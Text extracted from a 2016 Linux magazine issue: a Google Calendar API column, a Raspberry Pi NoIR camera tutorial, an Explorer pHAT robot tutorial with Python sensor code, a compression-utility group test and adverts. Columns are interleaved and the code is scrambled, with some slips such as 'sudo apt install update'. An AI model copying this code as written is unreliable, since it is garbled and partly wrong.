'items'. The individual calendars have include the list of attendees and a list of Google Calendar to pull event details to populate a family
lots of information contained within any included attachments. Both of these calendar display, there is nothing stopping you from
them, such as a unique ID, a description are lists of structured data. For each event, working in the other direction and updating the remote
and a summary, along with much more you could loop through and pull out the calendar based on what happens at the monitor. This
information. You could get a print-out of all name of each attendee with this code. way, you can keep yourself synchronised with what is
of the summaries with this code. happening back home. The first thing you might want to
for attendee in event_ be able to do is to add a new event to a calendar. While
for cal_item in cal_list['items']: item['attendees']: there is an 'insert' method, it is probably overkill for
print(cal_item['summary']) print(attendee['displayName']) such a simple application. For your family calendar, you
probably just want to use the 'quickAdd' method.
With a list of the available calendar IDs, Items like the 'displayName' are optional,
you can start building up your list of the so you want to be sure that you actually get new_event = service.events().quickAdd(
actual events that are going to populate a string back before trying to do anything calendarId='primary',
your family calendar display. Each of these with it. In a similar way, you could loop text='Meeting at library on August 28
events has a full dictionary of details, through attached files to a given event. 2:00PM").execute()
similar to the information available for the
calendars. As a quick example, you can for attachment in event_ Let's say that you need to actually update an existing
grab the summaries for all of the events for items['attachments']: event. As an example let's say you got the time wrong on
the primary calendar with the code here. # Do something interesting the above newly created event. You could change it with:

event_list = service.events(). This is a bit messier if you wanted to pull new_event['start']['time'] = '3:00PM'
list(calendarId='primary').execute() any extra detail from the attachments. To updated_event = service.events().
for event_item in event_ begin with, you will likely want to look at the update(calendarId='primary', eventId=new_
list['items']: 'title' and the 'mimeType' properties to see event['id'], body=new_event).execute()
print(event_item['summary']) if there is anything useful that you can do
with it within your calendar display. If there You can do this update with any event that you can look
Using these examples, we could print off is, the attachment will show up in one of up the event ID for, in any calendar that you have access
the summary, start time and date with: two ways. If it is stored in Google Drive, to. The last simple operation you may want to do is to
there will be a 'fileID' property that you can delete an existing event. You can do this with:
for event_item in event_ use within the Google Drive API to pull the
list['items']: file information down. If it is a file located service.events().delete(calendarId='primary',
print(event_item['summary'] + ' ' somewhere else, there will be a 'fileUrl' eventId='eventId').execute()
+ event_item['start']['dateTime']) property that you can use to pull the file
down from. You may want to be careful with this particular function,
The format that the dateTime property We were only able to cover the most since your offspring may decide to quietly delete that
gets printed in is along the lines of '2007- essential parts of querying your Google upcoming dentist's appointment that they are less than
03-30T14:30:00-03:00'. So, you get the calendars in order to pull out information thrilled about attending. You may need to reorganise
date, then a 'T', then the time in 24 hour for your family calendar display. But these events after the fact. If so, you can move an event
format and then the timezone for the hopefully, you can see the possibilities of from one calendar to another with code like:
event. There is also an equivalent entry for how you can use all of this information to
the end of an event. This all works great, keep you and your family well organised. updated_event = service.events().
as long as a 'dateTime' property has been There are also APIs for all of the other move(calendarId='primary', eventId='eventId',
set for the given event. But you may have Google products that are accessed in a destination='destCalId')
all-day events, so you will need to do some similar way, so you could take the code
error checking when you start pulling above as a jumping off point to pull in even If your family calendar allows for some kind of
this data out. If you entered a location for more data from your online presence. If interaction, say by using a touchscreen attached to
the event, that is stored in the 'location' you were granted access, you could even your Raspberry Pi, you can now allow for updates to
property of the event that you can access pull in data from other people's calendars, propagate back out to the internet. This way, you will
in the same way that you pull out the so you can even keep synchronised with know immediately on your phone that a play date has
summary. This is just the free-form text what the grandparents might be up to. been added for your child back at home.

www.linuxuser.co.uk 69

068-069 Python Column.indd 69 07/09/2016 16:32

 Tutorial

Try some evening photography with

the Raspberry Pi’s NoIR camera!
Install the NoIR camera to enjoy some improved low
light photographs and videos from your Raspberry Pi

Christian
Cawley
I’m a former IT and
software support
engineer and
since 2010 have
provided advice
and inspiration
to computer and
mobile users online
and in print. I cover
the Raspberry Pi
as well as Linux at
makeuseof.com.

What you’ll need

■ Raspberry Pi NoIR Camera V2
Element14.com
■ Raspberry Pi case with
mount or slot for camera
module
■ Portable power supply

Want to get more out of your Raspberry Pi’s photographic

abilities? You might have already connected a webcam or
the official camera module, but found that certain activities
03 Mount your camera module
If your Raspberry Pi case has a mounting point for
the camera module, this will almost certainly have four small
– particularly shooting in low light – have been unsuccessful. poles onto which the NoIR camera can be mounted.
The solution is a new camera module, the Raspberry Pi Simply line up the camera, lens facing the adequately-sized
NoIR Camera Board, which has no infrared filter hole, and press the module into place to attach it.
This makes the camera ideal for taking infrared
Use the photographs or photographing objects in low light (you still
blue gel! won’t be able to take photos in the dark without a light source).
Capable of delivering 5MP still images, or recording video at
1080p and 30fps, the NoIR camera is easy to install - but for
Should you find that the best results, use with a case and portable power supply.
the results don’t
quite look right, it
might be time to
use the blue gel
trick. This is around
01 Check your contents
When you receive the Raspberry Pi NoIR Camera
module, you’ll find two items in the box. The camera module
the same size as
the NoIR Camera itself should be easy to spot, with its four mounting holes,
module, and can be on in each corner of the PCB. Look out also for the blue gel, a Above After selecting Enable Camera, exit raspi-config - you’ll then be
placed in front of prompted to restart
small square colour filter.
the lens to deliver a
blueish tint to your
photos and videos.
Of course, this 02 Connect the NoIR Camera module
Taking anti-static precautions, connect the NoIR
04 Update your Pi
With the camera module safely attached, it’s time to
boot your Raspberry Pi and run the latest updates.
same technique
can be used for Camera module to the Raspberry Pi using the ribbon cable,
standard Raspberry which slots into the ribbon connector with the silver side sudo apt install update
Pi photography - facing the nearby HDMI port. sudo apt dist-upgrade
small gels as filters
can produce some Don’t forget to lift the catch before inserting, and to press
striking results! down firmly (without excessive pressure) to secure it. This will ensure that the necessary software is installed. You

70

070-071_LUD170 RasPi.indd 70 07/09/2016 16:32

 Pi NoIR

Commands,
08 Try time-lapse
Time-lapse photography is a good option for capturing conditions
images remotely (over SSH) without draining the battery. and switches
raspistill -t 480000 -tl 5000 -o /timelapse/
image%04d.jpg To find out
more about the
commands that
Using millisecond values, this command snaps photos every 5 are available for
seconds for 8 minutes. Install libav-tools to convert your images raspistill and
raspivid, use:
into a movie.
raspistill
–help
Above Using your NoIR camera outdoors? Remember: your battery will
drain more quickly when recording video and

should also open sudo raspi-config and Enable Camera, raspivid

before restarting your Pi. –help

The resulting list of

05 Take photos and videos
Two tools, raspistill and raspivid, are used for
capturing stills and videos with the NoIR camera. Basic usage
settings that can be
used is followed by
a section headed
is as follows: ‘Notes’, where you’ll
find the various
options available
raspistill -o photo1.jpg for exposure
raspivid -o video1.h264 mode, AWB mode,
Above With your video compiled, consider uploading it to YouTube - metering mode
time-lapse clips are very popular! and more. Learn to
Use the help command with each to find the full set of use these settings

09
commands, which include specifying image size and rotation Compile your time-lapse to customise the
output of your NoIR
(see the tip on the right). To compile the time-lapse images into a single video camera, and get
file, use: great results.

06 Take some test photos

To get the most out of the NoIR camera, you’ll need
to set it up to take some photos in low light. If you can’t wait
avconv -y -f image2 -i /timelapse/image%04d.jpg
-r 24 -vcodec libx264 -profile high -preset slow /
until the evening, you might use other low-light scenarios, timelapse/timelapse1.mp4
such as an attic, basement, or cupboard.
For a test shot, try: This will take a while to compile on your Pi. When done, use
omxplayer to view the results:
raspistill -o test.jpg
omxplayer /home/pi/timelapse/timelapse1.mp4

07 Prepare for an evening shoot

If you want to take it outdoors, you’ll need a
rechargeable battery pack to power the Pi and the camera.
You should also have selected a relatively robust case, with
good coverage to protect from the elements.
For the best results, use an all-weather case, or employ a
plastic bag!

Above Make sure you don’t overload your SD card storage - keep your
time-lapses brief!

www.linuxuser.co.uk 71

070-071_LUD170 RasPi.indd 71 07/09/2016 16:32

 Tutorial

Build an explorer pHAT robot

Part four
Upgrade your explorer robot to drive itself,
follow light and avoid obstacles
In part three we gave our robot “legs” through a manual
control program and a gamepad. Now we will add self- What you’ll need
driving capabilities through sensors and a feedback loop. We
start off by looking at open versus closed loops for control, ■ Article’s Github repository (https://github.com/
then create a simple obstacle-avoiding behaviour. Once alexellis/zumopi)
our robot can avoid walls we will add a second behaviour to
■ Explorer Robot as built in part two
follow a light source such as a torch being shone at the left or
right side of the robot. The programs are only a starting point ■ Wi-Fi dongle
Alex Ellis for you to adapt and tailor to your needs. The light-following ■ Ultrasonic sensor
@alexellisuk is a program could be adapted into a line-following behaviour with
senior software the use of two infrared LEDs. ■ 2x analog light sensors
engineer at ADP, a
Docker Captain and The examples will be written in Python, which is pre-
an enthusiast for installed on Raspbian. Wherever possible the examples will
all things Linux. He be compatible with both Python 2 and 3. All the code will be
is never far from a
Raspberry Pi and open source, so if you want to suggest an enhancement or to for different conditions. So when driving forward instead of
regularly posts correct a bug you can submit a pull request or raise an issue requesting 70 per cent motors we request 100rpm, and if the
tutorials on his blog. on Github. Please also check Github for any errata or any speed drops we increase the motor power.
changes we may make to keep the article up to date.

01 There is no failure, only feedback

As we begin to design an autonomous behaviour
04 Build an obstacle-avoiding behaviour
With any self-driving technology the one thing we
don’t want is to cause a collision, whether that is with a
for our robot we will see that navigating even a simple, priceless vase, the pet cat or a pair of slippers. The cheapest
predictable environment such as a kitchen floor can be a sensor we could find for this purpose is an Ultrasonic sensor
very tricky task. Take our robot from part three of the series (HC-SR04). The HC-SR04 has a trigger and echo pin; set
as an example. If we drive around on a thick carpet, grass, the trigger to high to emit a pulse, then immediately start
concrete or lino flooring then you will notice big differences counting until the echo pin goes from low to high. The time
in moving and turning speed. If we turn our robot at 100 per taken plus a small amount of maths results in a distance
cent motors for 0.5 seconds on lino it may perform a 360, between 2cm and 150-200cm.
whereas on thick grass it may barely move and on carpet it
may turn exactly 90 degrees.
05 Be quick or you’ll miss it
The pulse emitted by the HC-SR04 sensor travels at

02 Are you open or closed to feedback?

During manual control we observe the robot’s driving
performance and react by correcting it on the gamepad.
the speed of sound, so we need to make sure the Pi’s operating
system is free and ready to measure the resulting echo.
Unfortunately Raspbian and the general flavours of GNU/Linux
While under autonomous control we need an equivalent way cannot guarantee us a real-time response. For this reason we
of measuring what is going on. A program that blindly drives may want to measure more frequently or average the sensor
motors at 70 per cent at all times may be able to negotiate a readings over time. Either way we cannot use the ExplorerHAT
flat surface but may struggle to drive up a ramp. This kind of code library because it introduces too much computing
program contains an open-loop, but in order to compensate latency. Instead we’ll the RPi.GPIO library directly, see the
for this we need feedback. When we have a direct feedback- example class (ultrasonic.py) here:
mechanism this is called a closed loop.
```

03 Pick your sensors

The most common way of measuring how far and
how quick a robot is moving is through wheel or motor shaft
import RPi.GPIO as GPIO
import time

encoders. These can be as simple as a paper disc attached # trigger = output 1 on ExporerHAT
to a motor shaft connected to a light sensor or a Hall Effect # echo = input 1 on ExporerHAT
magnetic sensor. By counting RPM and knowing the turns # For other output or inputs consult http://
required to move a set distance we can start to compensate pinout.xyz

72

072-076 Explorer pHAT 4.indd 72 07/09/2016 16:44

 Explorer robot

www.linuxuser.co.uk 73

072-076 Explorer pHAT 4.indd 73 07/09/2016 16:34

 Tutorial

class ultrasonic_sensor: def cleanup(self):

def __init__(self,trigger,echo): GPIO.cleanup()
self.GPIO_ECHO=echo ```
self.GPIO_TRIGGER=trigger

def setup(self):
GPIO.setmode(GPIO.BCM)
06 Don’t crash into that wall
Now that we have a Python class which can take
measurements through the ExplorerHAT, let’s write a simple
print “trigger = “ + str(self.GPIO_TRIGGER) loop to read the values, then set up our robot to drive forward and
print “echo = “ + str(self.GPIO_ECHO) halt if it detects anything around 30cm away or closer. For a code
# Set pins as output and input sample that only reads the values and prints them on the terminal
GPIO.setup(self.GPIO_TRIGGER,GPIO.OUT) # Trigger use part4/distance/reader.py. For the example below use part4/
GPIO.setup(self.GPIO_ECHO,GPIO.IN) # Echo distance/dont_bump.py.
Also note that we are making the code self-documenting by
def measure(self, settleTime): naming variables such as safe_distance_cm, move_power_
# Set trigger to False (Low) percent and sensor_settle_time. Any number passed into a
GPIO.output(self.GPIO_TRIGGER, False) method without a clear name should be avoided. It is called a
# Allow module to settle magic variable, because who knows what it means?
time.sleep(settleTime)
```
# Send 10us pulse to trigger import explorerhat
GPIO.output(self.GPIO_TRIGGER, True) from ultrasonic import ultrasonic_sensor
time.sleep(0.00001)
GPIO.output(self.GPIO_TRIGGER, False) # trigger = output 1
start = time.time() # echo = input 1
while GPIO.input(self.GPIO_ECHO)==0:
start = time.time() # For other output or inputs consult http://pinout.
xyz
while GPIO.input(self.GPIO_ECHO)==1: trigger_pin = 23
stop = time.time() echo_pin = 6

# Calculate pulse length ultrasonic1 = ultrasonic_sensor(echo_pin, trigger_pin)

elapsed = stop-start ultrasonic1.setup()
print(“Ping..”)
# Distance pulse travelled in that time is time while(True):
# multiplied by the speed of sound (cm/s) sensor_settle_time = 0.1
distance = elapsed * 34000 cm = ultrasonic1.measure(sensor_settle_time)
safe_distance_cm = 30
# That was the distance there and back so halve if(cm <= safe_distance_cm):
the value explorerhat.motor.one.stop()
distance = distance / 2 explorerhat.motor.two.stop()
else:
return distance move_power_percent = 50

74

072-076 Explorer pHAT 4.indd 74 07/09/2016 16:34

 Explorer robot

and being able to operate outdoors without a laptop: this is

called shared autonomy. The disadvantage of Bluetooth and
a single USB port is that you have to swap over to the Wi-Fi
dongle to update the code. For the rest of the tutorial we will
always keep a terminal open and hit Ctrl+C if things start to
go wrong.

09 Mount your sensors

At this point you may be wondering how we can mount
sensors onto the Zumo’s tiny chassis. If you have access to a
laser cutter or makerspace you may already have everything
you need to make an extra layer for the robot. For our test
rig we have used hot glue to secure the ultrasonic sensor
and two additional Adafruit ALS-PT19 Analog Light sensors
from Pimoroni (£3.00 each). Make sure you only apply a small
amount of glue and that you hold the sensor in place until dry so
that it keeps the position you want.

SHARED AUTONOMY 10 Connect the ALS-PT19s

The ALS-PT19s are simple light sensors with built-
Sometimes a robot can be given full autonomy so it performs in resistors. We just need to provide a positive and negative
a task and regulates itself –- think of a production line in a wire along with a third wire to read the signal. Plug one
factory. At other times where the potential for an incorrect into analog 1 and the other into analog 2. There are only
decision to be made is high then we may want to share our 2x 5v connectors and 2x GND connectors, so use a tiny
autonomy with a robot so that we reduce the level of risk; a breadboard to break these out and to allow us to power the
perfect example of this would be a self-driving car. ultrasonic sensor at the same time.

explorerhat.motor.one.forwards(move_power_percent)
explorerhat.motor.two.forwards(move_power_percent)
11 Read the analog values from the ALS-PT19s
Analog values can be read through the Pimoroni library and
will give a value between 0.0-5.0 representing the input voltage.
Here is a quick example of how to read the sensors.
print(“%.1fcm” % cm)
``` ```
print(explorerhat.analog.one.read())

07 Design the escape behaviour

Plug trigger into output 1 and echo into input 1 on the
ExplorerHAT. Connect positive to 5v and negative to GND.
print(explorerhat.analog.two.read())
```

Once the robot has detected a distance of at least 30cm to an The simplest control program would read both sensors and then
obstacle then we need to act or it will remain stuck. A simple but immediately give more power to the left or right motors to initiate a
effective escape behaviour is to back up a little and turn left then steering motion. The best control programs would average out the
let the main loop continue. Note that this is going to be an open value to smooth it and perhaps use a PID controller mechanism to
loop so depending on the surface the turn may be small or large. make sure the system doesn’t over-correct. Here’s our attempt;
For now we will concentrate on smaller building blocks. See the we’ve left lots of room for improvement.
full code in part4/distance/roaming.py.
```
``` import explorerhat
def escape(): import time
backup_time = 0.3 from ultrasonic import *
turn_time = 0.15
explorerhat.motor.one.backwards(50) def get_percentage(left, right):
explorerhat.motor.two.backwards(50) if(left > right):
time.sleep(backup_time) return (20, 50, “<”)
explorerhat.motor.two.forwards(50) return (50, 20, “>”)
time.sleep(turn_time)
``` while(True):
left = explorerhat.analog.one.read()

08 Create an emergency stop mechanism

Before we move on to look at a light-following
behaviour let’s make sure we can stop the robot if it gets into
right = explorerhat.analog.two.read()

tolerance = 0.10
trouble. You could do this by integrating the Wiimote from delta = abs(left - right)
part 3 of the series and a Bluetooth dongle. The A button if(delta >= tolerance):
could pause the robot, and then perhaps B could resume percentage_power = get_percentage(left, right)
the program after you have saved it from falling down a light explorerhat.motor.two.forwards(percentage_
of stairs. The advantage of a hybrid mode is extra control power[0])

www.linuxuser.co.uk 75

072-076 Explorer pHAT 4.indd 75 07/09/2016 16:34

 Tutorial

FIND
MAKER
SPACES
NEAR
YOU
Maker and
Hacker Spaces
can be a great
way to get in
touch with like-
minded people,
and can also
give you a way
to access tools
and machinery
which would
otherwise explorerhat.motor.one.forwards(percentage_ explorerhat.motor.two.forwards(50)
be outside of power[1]) time.sleep(turn_time)
your budget. print(percentage_power[2])
Raspberry Pi else: while(True):
Jams are also percentage_power = (50, 50) if(ultrasonic1.measure(0.10) <= bump_buffer_cm):
good places print(“^”) explorerhat.motor.one.stop()
to showcase explorerhat.motor.two.forwards(percentage_ explorerhat.motor.two.stop()
your own power[0]) escape()
handiwork. explorerhat.motor.one.forwards(percentage_
A great place power[1]) left = explorerhat.analog.one.read()
to demo your right = explorerhat.analog.two.read()
robot would be time.sleep(0.1)
at Cam Jam’s ``` tolerance = 0.10
PiWars event. delta = abs(left - right)
Find it
at https://
piwars.org.
12 Construct the final robot control program
This is the final part of our tutorial and our final robot
control program. It will roam around an environment making sure
if(delta >= tolerance):
percentage_power = get_percentage(left, right)
explorerhat.motor.two.forwards(percentage_
not to bump into anything and will seek out the strongest light power[0])
source. We were able to drive the robot around obstacles using explorerhat.motor.one.forwards(percentage_
a beam of light from a CREE LED torch with a beam that can be power[1])
focused. By shine the torch on either side of the robot it is possible print(percentage_power[2])
to control its direction and course. The full code is provided in else:
part4/follow_light/follow_dont_bump.py. percentage_power = (50, 50)
print(“^”)
``` explorerhat.motor.two.forwards(percentage_
import explorerhat power[0])
import time explorerhat.motor.one.forwards(percentage_
from ultrasonic import * power[1])
ultrasonic1 = ultrasonic_sensor(6, 23)
ultrasonic1.setup() time.sleep(0.1)
```
bump_buffer_cm = 20

def get_percentage(left, right):

if(left > right):
13 Decide what enhancements you want to make
In the previous tutorial we looked at the advantages of
using classes for development in Python. Perhaps you could
return (20, 50, “<”) separate each behaviour into individual classes? Maybe you
return (50, 20, “>”) would rather create a line-following robot, in which case, switch
out the sensors and with a few modifications the sam code should
def escape(): be able to negotiate a simple course.
backup_time = 0.3 We also mentioned magic variables. Can you spot any in the
turn_time = 0.15 code examples? Maybe you could refactor them into separate
explorerhat.motor.one.backwards(50) variables with self-documenting names.
explorerhat.motor.two.backwards(50) Have fun with your robot and send us a picture of the finished
time.sleep(backup_time) product on Twitter to: @LinuxUserMag and @alexellisuk.

76

072-076 Explorer pHAT 4.indd 76 07/09/2016 16:48

 01202 586442 Pi Marketplace

de
in
th
e
U
K
IQaudIO
Audiophile accessories for the Raspberry Pi

a
M

Pi-DAC+ Pi-AMP+ Pi-DigiAMP+

• Raspberry Pi HAT, no soldering required • Pi-DAC+ accessory, no soldering required • Raspberry Pi HAT, no soldering required
• Full-HD Audio (up to 24bit/192MHz) • Full-HD Audio (up to 24bit/192MHz) • Full-HD Audio (up to 24bit/192MHz)
• Texas Instruments PCM5122 • Texas Instruments TPA3118 • Texas Instruments TAS5756M
• Variable output to 2.1v RMS • Up to 2x35w of stereo amplification • Up to 2x35w of stereo amplification
• Headphone Amplifier / 3.5mm socket • Provides power to the Raspberry Pi • Out-of-the-box Raspbian support
• Out-of-the-box Raspbian support • Software mute on GPIO22 • Integrated hardware volume control
• Integrated hardware volume control • Auto-Mute when using Pi-DAC+ headphones • Provides power to the Raspberry Pi
• Access to Raspberry Pi GPIO • Input voltage 12-19v • Software mute on GPIO22
• Connect to your own Hi-Fi's line-in/aux • Supports speakers from 4-8ohm • I/O (i2c, 3v, 5v, 0v, GPIO22/23/24/25)
• Industry standard Phono (RCA) sockets • Just add speakers for a complete Hi-Fi
• Supports the Pi-AMP+ • Input voltage 12-19v
• Supports speakers from 4-8ohm

PiMusicBox

IQaudio Limited,
Twitter: @IQ_audio Swindon, Wiltshire.
Email: [email protected] WWW.IQAUDIO.COM Company No.: 9461908

06.LUD_PiMarketplaceTemp .indd 2 05/09/2016 14:29

If Apple made a magazine
w w w. i c r e a t e m a g a z i n e .c o m

E • FREE
SU
Available
EVERY IS

RE

from all good

SOURCE

newsagents &
supermarkets
DS

DO
WNLOA
ON SALE NOW
• The ultimate guide to iOS 10 • Get ready for macOS Sierra
TIPS & TRICKS HARDWARE REVIEWS CREATIVE PROJECTS BEST ACCESSORIES iOS & OS X APPS

BUY YOUR ISSUE TODAY

Print edition available at www.imagineshop.co.uk
Digital edition available at www.greatdigitalmags.com
Available on the following platforms

facebook.com/icreatemagazine twitter.com/icreatemagazine

iC_SA4ha NEW.indd 2 01/09/2016 15:31

 79 Group test | 84 Synology RT1900ac | 86 LXLE 16.04.1 | 88 Free software

7zip WinZip

PeaZip Hamster Free ZIP Archiver

GROUP TEST

File compression utilities

Compression utilities are one of the best ways to make your files more
manageable, but which one is best for Linux users?

7zip WinZip PeaZip Hamster

When it comes to entry level file Archiving has been at the core for PeaZip is one of the few file File compression utilities don’t
compression utilities, 7zip has long WinZip for some time now, but compression utilities on the market tend to look that great, so you’ll
been heralded as one of the best that doesn’t take away from its file that’s not only compatible with Linux, be pleased to find Hamster does
around. It’s always done the basics compression features. There are but is also completely open source. something a little different. On top
well, without being too intensive some annoyances throughout, but It benefits from working with over of its quirky design, it also boasts
on your desktop resources either. with a steady, and consistently 180 archive formats, which puts cross compatibility with many of
However, with infrequent updates, growing user base, do these issues it up there with some of the best the other compression utilities
has any of its competition managed take away from the program itself? programs currently on the market. we’ve featured in this group test.
to usurp it? www.7zip.org www.rarlab.com www.peazip.org www.hamstersoft.com

www.linuxuser.co.uk 79

079-082 Group Test.indd 79 07/09/2016 16:36

 Review File compression utilities

7zip WinZip
Does it still stand up well to the The pro version may cost a lot, but can
competition showcased here? WinZip justify the price?

n You can use the Benchmarking feature to track the compression n Options are placed around each side of the central column, which
and archiving speeds of your iles can lead to some confusion as to a feature’s whereabouts

Design Design
It’s testament to the team behind 7zip that despite the complexity of the While we wouldn’t say it’s exactly pleasing to the eye, WinZip does boast
features found in 7zip, everything is easy enough to find. Menus are easy to one of the best UIs out of the ones featured here. Options are easy to find
navigate and core features are listed appropriately. One small caveat is the and the menu system isn’t overly complicated. We especially like how the
advanced features, which do require a fair amount of digging to find, but this basic compression features are kept separate from the advanced offerings
is only a small issue overall. contained within.

File compression and archiving File compression and archiving

It’s as easy as pressing a button; it really is that simple. Extracting to different The speed with which WinZip manages to compress and extract files is
directories is another big plus point here, but some people will miss being alarmingly fast, so if speed is a key factor for you, then WinZip may be your
able to delve a little deeper into the archiving process. For beginners, best choice. There’s a slight amount of slowdown when dealing with bigger
however, all the core features are easy to find and a help section is at hand if files, but it’s still faster than most of the competition. Archiving options are
you get stuck along the way. basic at best, but get the job done.

File management File management

7zip is one of the few compression utilities to boast a fully integrated There are a surprising amount of options buried within WinZip’s
ile management system in its arsenal of features. While it’s not as management system. As well as simply moving files around, there’s a full
feature-packed as independent Linux management tools, it does all editing suite on board, perfect for making on-the-spot changes to your
the basics well enough. We advise you not to download 7zip just for documents. Don’t expect any LibreOffice beater, but it’s certainly the best
this feature, however. file management system out of the compression utilities featured here.

Extra features Extra features

While the core 7zip utility is good enough on its own, we especially like the Delving deeper into WinZip will showcase one of the better sharing
command-line version, which adds a new dimension for advanced Linux options out there. Any compressed ile can instantly be shared and
users to explore. Windows Shell integration is also available here, but it’s ported through various social media feeds and IM suites. Also included
a little too clumsy to use for the most part. Only use it if you have prior is a handy document watermark feature, great for adding your stamp to
knowledge of Windows Shell. your iles when needed.

Overall Overall

9 8
Despite the addition of a couple of superfluous We’re impressed with WinZip for the most part, but
extras, at its core 7zip remains one of the premier file the £42.95 price tag for the full version is actually quite
compression utilities around. It’s the perfect choice difficult to swallow when the free alternatives here are
for new users, despite the small annoyances. comparable in most areas.

80

079-082 Group Test.indd 80 07/09/2016 16:36

 Hamster Free
PeaZip Zip Archiver
Small in size, but packing a punch with It may look good, but is it too
the suite of tools it has to offer barebones for Linux users?

n Each compression type has a variety of additional information, n Multiple iles can be compressed at once, which is helpful if
which can help you follow each stage of the process you’ve got a lot to get through

Design Design
What we especially like about PeaZip’s UI is just how organised it is. Sections Hamster certainly wins from a design point of view, with a highly functional
are cleverly mapped out to stop any navigation issues, while its selection UI that delivers in terms of both usage and looks. There’s some added twists,
of features can be found using the search function. Compared to the such as the compression rating, which helps you understand how secure your
competition, it does look a little basic, but the minimal approach does do it files are, and also offers tips on how you can improve its rating.
some favours here.
File compression and archiving
File compression and archiving Delving a little deeper into Hamster shows that it’s fairly basic throughout.
While not as quick as WinZip, compression and extracting are still fairly fast. Basic encryption and archiving tools are included, and transfer speeds are
Each unzipping process uses a helpful menu system, which outlines various decent, but not as impressive as some of the other utilities here. If you’re
aspects of the process. Users can monitor the state of the zip process, as looking for a more complete compression system, this may be a little too
well as its input and output rate. It won’t be of much use for many, but it’s a basic for you.
helpful extra for some.
File management
File management Similar to the issues we encountered with its compression options, the
The only downside to PeaZip’s minimal approach is that it’s fairly light in this management system within Hamster is too basic for our liking. There’s
department. Organisational tools are plentiful, but there’s little else that can some starter level document-editing options at hand, but you’re better
really help you take control of your files. That said, the one key feature here is off using LibreOfice instead. If, however, the ile management side of
the duplicate file finder, which is surprisingly good at finding copies of photos things doesn’t appeal to you, then Hamster’s minimal approach may be
located deep within your compressed photos. a good idea.

Extra features Extra features

There are some strong encryption protocols used here, so security is tight One of the key things you’ll soon realise about Hamster is that it’s configured
throughout PeaZip. Different areas of the encryption process can be for better performance when used on multi-core processors. In practice,
password protected, and as well as the standard AES256 encryption, there’s it helps zip up large files faster and with less CPU resources than its
plenty of advanced security features to get to grips with as well. Just be competitors. Apart from that, extras are few and far between, but keep an
warned, some of the options are remarkably difficult to set up and use. eye on future updates.

Overall Overall

7 7
PeaZip’s minimal approach works well for the most While we love the look and usability of the Hamster archiver,
part, but some may ind it lacking in certain areas. With it pales in comparison to the competition here. Options are
stronger emphasis on the management side of things, minimal, and advanced users will want to look elsewhere
PeaZip could eventually compete with the best. for sure.

www.linuxuser.co.uk 81

079-082 Group Test.indd 81 07/09/2016 16:36

 Review File compression utilities

In brief: compare and contrast our verdicts

7zip WinZip PeaZip Hamster
Design Generally clutter-free, Functional, but some Minimal in its Beautiful to look at and
but the UI can get a
little messy. 7 UI tweaks would
be good to help
navigation.
7 approach, but it does
make it ridiculously
easy to navigate.
9 by far the best UI of
those included here. 9
File A myriad of options for A good amount of Simplicity is key Options are minimal
compression
and archiving
both beginners and
advanced users, most
of which are fantastic.
10 both beginner and
advanced features to
satisfy most users.
8 here, but it lacks the
advanced features the
others contain.
6 and a lack of extras left
us wanting more. 5
File There’s a fully integrated A great editing suite Lots to do when it While some basic
management management system
embedded here, with
decent options.
9 is included to help
smarten up your
documents.
8 comes to organising
iles, but little else. 7 formatting options are
included, there are too
many omissions.
6
Extra features An additional Deep integration with Being able to Conigured to work
command-line version
is the perfect addition
for Linux users.
9 different social media
sites and IM clients. 7 implement different
levels of security is a
nice touch.
7 better on multi-core
processors, which
works in practice.
7
Overall Great throughout, the There’s little wrong Some will find it too Nice to look at, but dig
best file compression
utility currently
available right now
9 here, but the UI could
do with being tidied
up a bit
8 basic, but there are
some good inclusions
to try here
7 under the surface and
sadly there are key
features missing
7
AND THE WINNER IS…
7zip
File compression utilities aren’t the most
exciting of tools you’ll use on your desktop
computer, but they’re incredibly useful when
it comes to moving and managing files. For
Linux users, your two best options are going to be
between 7zip and WinZip. While both have their
merits, we chose 7zip as our winner, as its free
version excels that which WinZip offers for free.
At its core, 7zip is packed full of compression,
archiving and extracting features that make it
feel like a complete product. Every inch of the
compression process can be closely monitored, or
if you like, you can let the program do all the work
for you. It depends entirely on your preference and
knowledge, so new users can certainly make 7zip
their go-to program of this kind. But we shouldn’t
forget advanced users either, and 7zip does a good
job at catering for them too. Supported formats are
numerous, and while the number of formats isn’t
n Go deep into your directories when extracting your iles through 7zip
the biggest we’ve seen, all the common variations
and many of the rarer formats are actually ledged management systems available for the 7zip development page.
completely compatible. download. We would say, however, that a few of If you’re on the hunt for a file compression
Going deeper into 7zip displays one of the the features get lost within the UI, which could program that can offer a complete package
better ile management systems out there. In do with some improvements in certain areas. without charging a fortune, it really is hard to look
particular, it’s the organisational features we We’d expect some of these issues to be catered past 7zip. For Linux users, this is as good as it gets.
especially liked, and they rival many of the fully- for in a later update, though, so keep an eye on Oliver Hill

82

079-082 Group Test.indd 82 07/09/2016 16:36

 01202 586442 Classified Advertising

HAPPY BIRTHDAY

ADD A REMOTE
DBA TO YOUR TEAM

Remote DBA from 2ndQuadrant is

SCAN YOUR TREAT
the ideal solution for organisations
needing extra help to manage their
PostgreSQL database – with our
expert knowledge of the core code, Celebrating
you couldn't be in safer hands TWENTY YEARS

Remote DBA is offered as a service extension to our

Gold and Platinum Production Support service plans of Hosting
UK +44 (0)870 766 7756
Come Celebrate with us and
US +1 650 378 1218 scan the QR Code to grab
2ndquadrant.com/rdba your birthday treat!
0800 808 5450
Domains : Hosting - Cloud - Servers

03.LUD_ClassTemp.indd 2 05/09/2016 14:31

 Review Synology RT1900ac

HARDWARE

Synology RT1900ac Price

£129 Synology’s irst router offers speedy dual-band
Website
synology.com performance, a NAS server and greater control over
Specs
Dual core 1.0GHz CPU your network’s connectivity
256MB DDR3 memory
802.11ac (2.4GHz, 5GHz bands)
Synology is best known for making network- As its name suggests, the RT1900ac is an AC1900
attached servers, so its perhaps not much of a router, so this means on paper it’s capable of
1 x WAN port
surprise its irst Wi-Fi router can also double up as 1,300Mbps on the 5GHz band and up to 600Mbps
4 x LAN ports (10, 100, a NAS. However, this is just the tip of the internet- on the 24GHz band, which should make it suitable
1000Mbits/S)
connecting iceberg for the RT1900ac, which actually for lag-free gaming and buttery-smooth 4K movie
1 x USB 3.0 port
has a host of other software innovations as well as streaming at home or fast ile sharing in the ofice.
1 x SD card reader also offering excellent Wi-Fi performance – at least at Under the hood, the RT1900ac has a dual-core 1GHz
2 x guest networks close range. processor and 256MB memory. This means it has

84

084-085 Hardware Review.indd 84 07/09/2016 16:37

 Above Synology’s Linux-based software makes it easy to manage
connectivity as well tailor-make your router by installing add-ons

The [Synology RT1900ac] allows you to manage your Pros

Synology’s debut is cheaper
